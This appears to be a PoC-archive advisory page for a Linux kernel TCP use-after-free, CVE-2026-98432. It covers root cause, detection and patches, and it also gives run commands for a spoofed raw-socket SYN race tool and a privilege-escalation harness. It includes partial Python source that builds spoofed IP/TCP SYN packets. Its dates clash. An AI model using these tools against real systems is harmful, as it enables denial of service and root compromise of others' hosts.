PoC Archive PoC Archive
CVE-2026-98432 category: network CVSS 9.8 (CRITICAL) EPSS 85%
Patched

CVE-2026-98432 — Linux Kernel IPv4 TCP Use-After-Free (SYN Retransmission and Request-Migration Race)

Published: 2026-11-25 • Researcher: Ghost-Bx1 (aka Gh0st-Bx1; PoC author); Linux kernel netdev maintainers (upstream fix)

Target software Linux kernel — IPv4 TCP stack (tcp_v4_syn_recv_sock(), inet_sock_destruct(), tcp_v4_reqsk_destructor(), ip_options_build()); IPv6 request-socket migration has a related ipv6_opt issue handled separately
Affected versions NVD ranges (pre-fix): >=4.4 <5.10.272, >=5.11 <5.15.223, >=5.16 <6.1.190, >=6.2 <6.6.159, >=6.7 <6.12.113, >=6.13 <6.18.56
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

EPSS 85%

EPSS 84.8% · 100th percentile

Severity
Critical
CVE
CVE-2026-98432
Category
network
Affected product
Linux kernel — IPv4 TCP stack (tcp_v4_syn_recv_sock(), inet_sock_destruct(), tcp_v4_reqsk_destructor(), ip_options_build()); IPv6 request-socket migration has a related ipv6_opt issue handled separately
Affected versions
NVD ranges (pre-fix): >=4.4 <5.10.272, >=5.11 <5.15.223, >=5.16 <6.1.190, >=6.2 <6.6.159, >=6.7 <6.12.113, >=6.13 <6.18.56
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-06
Author / ResearcherGhost-Bx1 (aka Gh0st-Bx1; PoC author); Linux kernel netdev maintainers (upstream fix)
CVE / AdvisoryCVE-2026-98432
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, per NVD; full vector see references)
StatusPoC
TagsUAF, CWE-416, use-after-free, Linux-kernel, TCP, IPv4, SYN, race-condition, MPTCP, request-migration
RelatedN/A

Affected Target

FieldValue
Software / SystemLinux kernel — IPv4 TCP stack (tcp_v4_syn_recv_sock(), inet_sock_destruct(), tcp_v4_reqsk_destructor(), ip_options_build()); IPv6 request-socket migration has a related ipv6_opt issue handled separately
Versions AffectedNVD ranges (pre-fix): >=4.4 <5.10.272, >=5.11 <5.15.223, >=5.16 <6.1.190, >=6.2 <6.6.159, >=6.7 <6.12.113, >=6.13 <6.18.56
Language / PlatformC kernel code; Linux (any arch) with IPv4 TCP and IP options. PoC: Python 3.8+ (raw sockets) and C (gcc -pthread)
Authentication RequiredNo
Network Access RequiredYes — crafted TCP SYNs to a listening IPv4 TCP port; the migration variant additionally needs net.ipv4.tcp_migrate_req=1 or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE program

Summary

Linux kernel IPv4 TCP sockets hand the request socket’s IP option block to the child socket without copying it, and the destructors release that memory with a plain kfree rather than an RCU-safe free. A retransmitted SYN can therefore still be reading the option block while the socket that owns it is being torn down, producing a use-after-free in the IPv4 option building path that can be reached with remote packets. The flaw is rated 9.8 and affects kernel versions from 4.4 through the 5.10, 5.15, 6.1, 6.6, 6.12 and 6.18 stable branches before their respective fixes; request socket migration (the tcp migrate req sysctl, or a BPF reuseport migration program) exposes a second ownership variant. The archived repository supplies a raw socket SYN tool that floods a target with IP-option bearing SYNs to race retransmission against teardown, plus a C harness that performs heap spray and attempts privilege escalation; the trigger is best treated as a crash/oracle PoC rather than a reliable weaponized exploit.

Vulnerability Details

Root Cause

tcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the child socket (newinet->inet_opt) without copying it. Another CPU can concurrently process a retransmitted SYN for the same request socket and send a SYNACK from tcp_check_req(); tcp_v4_send_synack() and inet_csk_route_req() read ireq->ireq_opt under rcu_read_lock() only, and ip_build_and_send_pkt() / ip_options_build() then read opt->optlen twice. Since commit 079096f103fa (“tcp/dccp: install syn_recv requests into ehash table”) request sockets are processed without the listener lock, so nothing prevents the child socket from being freed while the SYNACK is still being built. TCP child sockets do not have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt with a plain kfree(), leading to a use-after-free in ip_options_build(). The migration variant: with net.ipv4.tcp_migrate_req=1 (or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE program), reqsk_timer_handler() clones the request socket via inet_reqsk_clone(), so the old socket and its clone share the same ireq_opt; reqsk_migrate_reset() clears the pointer in the old one, but another CPU holding a reference on the old request socket can still use the options while the clone is freed, and tcp_v4_reqsk_destructor() also uses a plain kfree(). Readers already use RCU, and other inet_opt replacement paths (do_ip_setsockopt(), cipso_v4_sock_setattr()) already use kfree_rcu(); the fix converts the two destructors to kfree_rcu() as well.

Attack Vector

An attacker sends TCP SYNs carrying IPv4 options (for example an IP_OPTIONS block) to any listening TCP port on the target, forcing request sockets with an ireq_opt allocation, then races SYN retransmission (from another CPU or spoofed sources) against child-socket teardown so the SYNACK path dereferences freed options. On hosts where request migration is enabled, request-socket cloning provides the second shared-ownership route. The archived Python tool builds the IP and TCP headers itself and transmits spoofed SYNs from raw sockets; it does not itself enable or verify target-side migration settings.

Impact

Use-after-free read (and potentially write) in the IPv4 option building code, reachable from the network path. Successful exploitation can crash or panic the kernel (denial of service) and, with reliable heap reclamation and KASLR bypass, could potentially escalate privileges to root. The archived PoC demonstrates the trigger and a crash oracle; the included C harness’s root claim is unverified and depends on manual kernel-specific offsets.

Environment / Lab Setup

Output
OS:          Linux x86_64 VM with an unpatched vulnerable kernel
             (any of the NVD ranges; a KASAN-enabled build is ideal for observing the UAF)
Target:      Vulnerable kernel with at least one listening IPv4 TCP port
             (e.g. an nginx/python http server); net.ipv4.tcp_migrate_req=1
             or a BPF reuseport migration program for the second variant
Attacker:    Linux host with root / CAP_NET_RAW for raw sockets (same LAN or VM host)
Tools:       python3 >= 3.8, gcc, pthread, tcpdump, dmesg / KASAN

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
uname -r
python3 -m http.server 80 &

sysctl -w net.ipv4.tcp_migrate_req=1
sysctl -w net.mptcp.enabled=1

python3 poc.py --help
python3 poc.py --info

python3 poc.py --gerar-c exploit_cve_2026_98432.c
gcc -O2 -pthread -o exploit exploit_cve_2026_98432.c

Proof of Concept

Step-by-Step Reproduction

  1. Prepare a vulnerable target — boot an unpatched kernel from the NVD ranges (a KASAN build makes the UAF visible), start a TCP listener, and optionally enable request migration (sysctl -w net.ipv4.tcp_migrate_req=1).
  2. Start the raw-socket SYN race — run the archived Python tool as root on the attacker host. It crafts IP/TCP headers with IP options and transmits spoofed SYNs from multiple threads for the requested duration.
    Shell script
    1
    
    python3 poc.py --target 192.168.1.10 --port 80 --threads 8 --duracao 30
  3. Watch the target — the tool polls the target every two seconds and reports when the port stops responding (possivel kernel panic/crash); check dmesg on the target for a KASAN use-after-free report.
  4. Optional local harness — generate and build the bundled C heap-spray harness, then run it from the target or an adjacent host with the required privileges. Its ROP/credential offsets are placeholders that must be adjusted per kernel build.
    Shell script
    1
    2
    3
    
    python3 poc.py --gerar-c exploit_cve_2026_98432.c
    gcc -O2 -pthread -o exploit exploit_cve_2026_98432.c
    ./exploit --cmd "id"
  5. Record the result — a KASAN trace in ip_options_build() / tcp_v4_syn_recv_sock(), a kernel panic, or (only with a correctly tuned kernel-specific harness) a root shell.

Exploit Code

See poc.py (raw-socket SYN trigger and C generator) and exploit.c (standalone heap-spray / privilege-escalation harness). Upstream usage is in upstream-README.md.

Shell script
1
2
3
python3 poc.py --target 192.168.1.10 --port 80 --threads 8 --duracao 30

python3 poc.py --info

The trigger loop builds an IPv4 header plus a TCP SYN whose option area carries an IP_OPTIONS-style block, varies the spoofed source address per thread, and sends it with IP_HDRINCL raw sockets; the C harness sprays kmalloc-sized socket option objects and retries connect()-driven handshakes while checking for root.

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[*] Alvo: 192.168.1.10:80
[*] Threads: 8 | Duracao: 30s | IP fonte base: 192.168.1.100
[VRF] Alvo acessivel em 192.168.1.10:80
[FIM] Total enviado: 123456 pacotes | Erros: 0

BUG: KASAN: use-after-free in ip_options_build
Read of size 1 at addr ffff8880... by task swapper/0
...
Call Trace:
 ip_options_build
 ip_build_and_send_pkt
 tcp_v4_send_synack
 tcp_check_req

Detection & Indicators of Compromise

  • Kernel log (KASAN / debug kernels): BUG: KASAN: use-after-free in ip_options_build, use-after-free in tcp_v4_syn_recv_sock, or inet_sock_destruct traces. On production kernels without KASAN, look for unexplained panics, oopses or reboots under SYN load.
  • Network: bursts of TCP SYNs carrying IPv4 options, spoofed or rapidly changing source addresses, low completed-handshake ratio, and high SYN retransmission volume against one listening port.
  • Host: sudden loss of TCP service with the kernel alive but the listening socket no longer responding; dmesg corruption/UAF warnings shortly after.
  • Configuration drift: net.ipv4.tcp_migrate_req=1 or BPF reuseport migration programs on hosts that do not require them.
Output
1
2
3
dmesg | grep -iE "KASAN|use-after-free|ip_options_build|tcp_v4_(syn_recv_sock|reqsk_destructor)"

tcpdump -ni eth0 -vv 'tcp[tcpflags] & tcp-syn != 0'

Remediation

ActionDetail
PatchUpgrade to a fixed stable kernel: 5.10.272, 5.15.223, 6.1.190, 6.6.159, 6.12.113, 6.18.56 or later (or a vendor kernel carrying the kfree_rcu() backports listed in the references), then reboot.
WorkaroundDisable request-socket migration: sysctl -w net.ipv4.tcp_migrate_req=0, and avoid/unload BPF_SK_REUSEPORT_SELECT_OR_MIGRATE programs. Disabling net.mptcp.enabled does not fix the base IPv4 race but removes one related path if MPTCP is not needed.
Config HardeningApply stable kernel updates promptly; restrict CAP_NET_RAW/CAP_NET_ADMIN to trusted processes and disable unprivileged BPF (kernel.unprivileged_bpf_disabled=1); rate-limit and filter SYNs with IP options at the edge; run KASAN/debug kernels in test labs; monitor dmesg and TCP SYN anomalies.

References

Notes

Auto-ingested from https://github.com/Ghost-Bx1/cve-2026-98432-linux-tcp-uaf on 2026-11-25.

Review verdict: this is an exploit-attempt PoC, not a detector or scanner. poc.py is a raw-socket SYN generator that crafts IPv4/TCP headers with IP options and floods a target to race SYN retransmission against socket teardown, with a crash oracle (target stops responding); it does not implement the target-side migration setup and does not prove the UAF by itself. exploit.c is a best-effort standalone harness (heap spray, hardcoded ROP/credential offsets, self-check for root) whose success depends on an exact kernel build and KASLR bypass; its privilege-escalation claim is not verified here. Status is therefore PoC (crash/oracle, lab-only), not Weaponized.

Limitations and caveats: the upstream README lists Ubuntu 20.04 through 26.10 and “any distro with kernel < fix”, which is broader than the NVD version ranges and unverified; the tool’s mitigation and detection text is advisory only. The repository has no license file, so the files are archived with attribution for authorized research only. Upstream comments and documentation are in Portuguese, and the README also advertises the author’s unrelated Ghost toolkit repositories. The C exploit was not executed; the offsets and kernel table in it must be validated against a specific vulnerable build before use. Run only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Ghost-Bx1/cve-2026-98432-linux-tcp-uaf (see README for attribution/license)
"""
CVE-2026-98432 - Linux Kernel TCP IPv4 Use-After-Free (MPTCP / SYN Race)
=========================================================================
Use-after-free em tcp_v4_syn_recv_sock() via corrida de SYN retransmitido.
O ireq->ireq_opt e transferido sem copia para o socket filho; outro CPU
retransmite SYN sob rcu_read_lock() enquanto o socket e destruido com
kfree() normal em inet_sock_destruct() - UAF em ip_options_build().

CVSS: 9.8 Critical | Afeta: Linux 4.x - 6.x (Ubuntu 20.04-26.10 e outros)

Vetores:
  1. Corrida SYN+SYN-ACK via MPTCP com tcp_migrate_req=1
  2. BPF reuseport migration (BPF_SK_REUSEPORT_SELECT_OR_MIGRATE)
  3. Retransmissao SYN em outro CPU durante handshake

Fix: kfree_rcu() em inet_sock_destruct() e tcp_v4_reqsk_destructor()

Autor: By Gh0st-Bx1 | github.com/Ghost-Bx1
"""

import argparse
import os
import socket
import struct
import sys
import time
import threading
import random
import re
from datetime import datetime

VERSAO = "1.0.0"


def _build_banner():
    import re as _re
    G = "\033[92m"; Cy = "\033[96m"; D = "\033[2m"; N = "\033[1m"
    W = "\033[97m"; X = "\033[0m"
    IW = 68; eq = "=" * IW; sp = " " * IW
    TL = "+"; TR = "+"; BL = "+"; BR = "+"; VB = "|"
    hl = "-" * 44; bar = "|"
    vl = lambda s: len(_re.sub(r"\x1b\[[0-9;]*m", "", s))

    def _row(s):
        n = vl(s); p = max(0, IW - n); l = p // 2; r = p - l
        return f"{G}{VB}{X}{' ' * l}{s}{' ' * r}{G}{VB}{X}"

    def _row_l(s):
        n = vl(s); p = max(0, IW - n - 2)
        return f"{G}{VB}{X}  {s}{' ' * p}{G}{VB}{X}"

    TL = "╔"; TR = "╗"; BL = "╚"; BR = "╝"; VB = "║"
    eq = "═" * IW

    ga = [
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠛⠛⠿⠟⠉⠛⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠉⢀⣠⣤⣶⣶⣶⣶⣶⣶⣤⣀⠢⢝⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⡡⢀⣴⡿⢋⡴⢿⣿⣿⣿⣿⣿⣿⣿⢷⣦⡑⠈⡛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⡜⢠⣾⣿⣤⣋⣴⣿⣿⣿⣿⣿⣿⣿⣿⣷⣌⠻⣶⣦⣤⣤⣀⠉⠻⣿⣿⣿⡿⠿⢛⢛⡻⠿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⠿⠟⠟⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⢀⣿⣿⣿⡿⠛⠛⠻⣿⣿⣿⡿⠛⠛⢿⣿⣿⣧⠉⠉⣁⣈⣉⣁⢀⣿⣿⢋⠄⣁⣴⣶⣄⠐⢌⢻⣿⣿{X}", ""),
        ("", f"{G}⡏⠀⣴⣦⣄⠢⡙⢿⣿⣿⣿⣿⣿⣿⡇⠀⣼⣿⣿⣿⠅⠀⠀  ⢹⣿⡿⠁⠀⠀⠀⢹⣿⣿⡆⠀⣿⣿⣿⣿⣿⡟⠁⢀⣴⣿⣿⣿⣿⣷⡈⠎⢿⣿{X}", ""),
        ("", f"{G}⡇⠀⣿⣿⣿⣷⣌⠀⠙⢿⣿⣿⣿⣿⠀⢀⣿⣿⣿⣿⠀⠀⠀  ⠀⠈⣿⡇⠀⠀⠀⠀⠈⢿⣿⡇⠁⢻⣿⣿⣿⡿⠁⢠⣾⣿⣿⣿⡿⢿⣿⣷⠀⠘⣿{X}", ""),
        ("", f"{G}⣇⠀⢿⣿⣿⡟⣿⣷⣄⠀⠙⢿⣿⡇⠀⣸⣿⣿⡿⣿⡀⠀⠀⠀  ⢸⣿⣧⠀⠀⠀⠀⣸⡈⣿⣷⠀⡈⣿⣿⡿⠁⢀⣾⣿⣿⢩⣿⠁⣾⣿⣿⡆⠀⢿{X}", ""),
        ("", f"{G}⣿⡀⠘⣿⣿⣿⡘⣿⣿⣷⣌⠂⠉⠁⢠⣿⣿⡟⣰⢿⣷⣤⣤⣴⣿⣿⣿⣷⣄⣠⣴⣿⣧⠸⣿⣧⡐⠢⠉⠁⢀⣾⣿⣿⡇⣼⣿⢸⣿⣿⣿⣇⠀⢸{X}", ""),
        ("", f"{G}⣿⣷⡀⠸⣿⣿⣧⠸⣿⣿⣿⣿⣶⣶⣿⣿⠏⡰⢃⣾⣿⣿⣿⣿⡏⠀⠈⣿⣿⣿⣿⣿⣏⠳⣘⣿⣿⣷⣶⣾⣿⣿⣿⣿⢠⣿⣿⣿⣿⣿⣿⣿⠀⢸{X}", ""),
        ("", f"{G}⣿⣿⡇⠀⣿⣿⣿⡄⡿⢿⣿⣿⣿⣿⣿⣷⣾⣷⣿⣿⣿⣿⣿⣿⣧⣀⣠⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⡇⠸⠋⢉⠉⡉⠛⠿⣿⠀⢸{X}", ""),
        ("", f"{G}⣿⣿⡇⢀⣿⣿⣿⣧⢸⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⢠⣾⣿⡄⠈⠀⠀⠀⠀ ⣾{X}", ""),
        ("", f"{G}⣿⡟⠀⣸⣿⣿⣿⣿⣜⡇⢿⣧⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⡉⠻⠇⠀⠰⠀⠀ ⣀⣾{X}", ""),
        ("", f"{G}⣿⠃⢠⣿⣿⠿⠿⠿⢿⣿⠸⣿⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⢣⢸⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⢰⠜⠋⠀⢀⡄⢰⣤⡀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠃⢻⣿⣿{X}", ""),
        ("", f"{G}⣿⣆⠠⠀⡀⠀⠁⣿⣿⠟⠀⣽⣿⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢻⣿⣿⣿⣿⣿⢃⣿⣿⣿⡟⣸⣿⣿⣿⣿⡿⠋⢠⢃⣾⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣷⣶⠆⡄⠈⢉⣠⣴⣾⣿⢿⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⢋⣴⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿⠇⠛⢏⠉⠉⠁⠤⢊⣥⣾⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⢄⠀⢾⣿⣿⣿⣿⡇⢸⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣶⣬⣭⣶⣾⣿⣿⠏⣼⣿⣿⣿⡇⣸⣿⣿⣿⠀⣰⣿⡁⢠⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣤⣀⡀⠀⠀⠉⠉⠁⢸⣿⣿⣿⢸⣿⣿⣿⣿⡹⣿⣿⣿⣿⣿⣿⣿⣿⠋⣼⣿⣿⣿⣿⠇⣿⣿⣿⣿⡀⠹⢿⡇⠀⢿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠛⠀⣼⣿⣿⣿⢸⣿⣿⢻⣿⣷⣌⠻⣿⣿⣿⣿⠟⣡⣾⣿⡟⣼⣿⣿⠀⣿⣿⣿⣿⣿⣶⣤⡀⠀⢸⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⠈⠀⣴⣾⣿⣿⣿⡇⢸⣿⣿⣇⢻⣿⣿⣷⣦⣭⣭⣴⣾⣿⣿⣿⢡⣿⣿⣿⠀⣿⣿⣿⣿⣿⠿⠟⠃⡀⢸⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⡐⠠⢈⡉⠛⠛⠿⡇⢸⣿⣿⣿⡜⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⣼⣿⣿⣿⠀⣁⣤⡄⠀⣀⣒⣀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⡌⠀⣦⠀⣼⣿⣿⣿⣇⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⢁⣿⣿⣿⣿⣄⡈⠛⠃⠐⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⢁⣤⣿⣿⣿⣿⣿⠘⣿⣿⣿⣿⣿⣿⣿⣿⡟⢸⣿⣿⣿⣿⣿⣿⣦⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠠⣿⣿⣿⣿⣿⣿⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⡇⢼⠿⠿⣿⣿⣿⣿⠟⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠈⣙⠛⠛⣛⣛⠛⠀⠻⢿⣿⣿⣿⣿⣿⣿⡃⢠⣤⠀⠀⣀⣉⣁⣀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣶⣶⣤⡀⢀⠈⢿⣿⣿⣿⣿⣷⣄⠁⠀⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠁⠈⣿⣿⣿⣿⣿⣿⡆⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠠⢠⣿⣿⣿⣿⣿⠟⢀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡗⠀⢸⣿⣿⣿⡿⢁⡄⣡⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠰⠘⣿⣿⣿⠁⠎⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡑⠈⠻⠇⠈⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
        ("", f"{G}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿{X}", ""),
    ]

    hl44 = "─" * 44; bar = "│"
    info = [
        f"{G}{N}CVE-2026-98432 - Linux TCP UAF PoC{X}",
        f"{Cy}v{VERSAO}  {D}Use-After-Free tcp_v4_syn_recv_sock(){X}",
        f"{D}{hl44}{X}",
        f"{W}By Gh0st-Bx1  {D}{bar}  github.com/Ghost-Bx1{X}",
        f"{D}{hl44}{X}",
        f"{D}--target <IP>  --port <PORT>  --threads <N>{X}",
        f"{D}CVSS 9.8 | Linux TCP IPv4 race condition UAF{X}",
    ]

    out = [f"{G}{TL}{eq}{TR}{X}", f"{G}║{sp}║{X}"]
    for left, center, right in ga:
        combined = left + center + right
        out.append(_row(combined))
    out.append(f"{G}║{sp}║{X}")
    for i in info:
        out.append(_row_l(i))
    out += [f"{G}║{sp}║{X}", f"{G}{BL}{eq}{BR}{X}"]
    return "\n".join(out)


BANNER = _build_banner()

C = {
    "R": "\033[91m", "G": "\033[92m", "Y": "\033[93m",
    "B": "\033[94m", "M": "\033[95m", "C": "\033[96m",
    "W": "\033[97m", "X": "\033[0m",  "N": "\033[1m", "D": "\033[2m",
}


def _log(tag, msg, cor="G"):
    ts = datetime.now().strftime("%H:%M:%S")
    c = C.get(cor, C["G"])
    print(f"  {C['D']}[{ts}]{C['X']} {c}[{tag}]{C['X']} {msg}")


# ---------------------------------------------------------------------------
# Checksum IP/TCP (raw sockets)
# ---------------------------------------------------------------------------

def _checksum(data: bytes) -> int:
    if len(data) % 2 != 0:
        data += b"\x00"
    s = 0
    for i in range(0, len(data), 2):
        w = (data[i] << 8) + data[i + 1]
        s += w
    s = (s >> 16) + (s & 0xFFFF)
    s += (s >> 16)
    return ~s & 0xFFFF


def _build_ip_header(src_ip: str, dst_ip: str, data_len: int) -> bytes:
    ihl = 5; ver = 4; tos = 0
    tot_len = 20 + 20 + data_len
    iid = random.randint(0, 65535); frag_off = 0
    ttl = 64; proto = socket.IPPROTO_TCP
    src = socket.inet_aton(src_ip); dst = socket.inet_aton(dst_ip)
    hdr = struct.pack("!BBHHHBBH4s4s",
                      (ver << 4) | ihl, tos, tot_len, iid, frag_off,
                      ttl, proto, 0, src, dst)
    csum = _checksum(hdr)
    return struct.pack("!BBHHHBBH4s4s",
                       (ver << 4) | ihl, tos, tot_len, iid, frag_off,
                       ttl, proto, csum, src, dst)


def _build_tcp_syn(src_ip: str, dst_ip: str, src_port: int, dst_port: int) -> bytes:
    seq = random.randint(0, 2**32 - 1)
    ack = 0; doff = 5; flags = 0x02  # SYN
    window = 65535; urg = 0
    pseudo = struct.pack("!4s4sBBH",
                         socket.inet_aton(src_ip), socket.inet_aton(dst_ip),
                         0, socket.IPPROTO_TCP, doff * 4)
    tcp = struct.pack("!HHLLBBHHH",
                      src_port, dst_port, seq, ack,
                      (doff << 4), flags, window, 0, urg)
    csum = _checksum(pseudo + tcp)
    return struct.pack("!HHLLBBHHH",
                       src_port, dst_port, seq, ack,
                       (doff << 4), flags, window, csum, urg)


# ---------------------------------------------------------------------------
# IP TCP options - TCP timestamp para triggerar o path de opcoes
# ---------------------------------------------------------------------------

def _build_tcp_syn_with_opts(src_ip: str, dst_ip: str,
                              src_port: int, dst_port: int) -> bytes:
    seq = random.randint(0, 2**32 - 1)
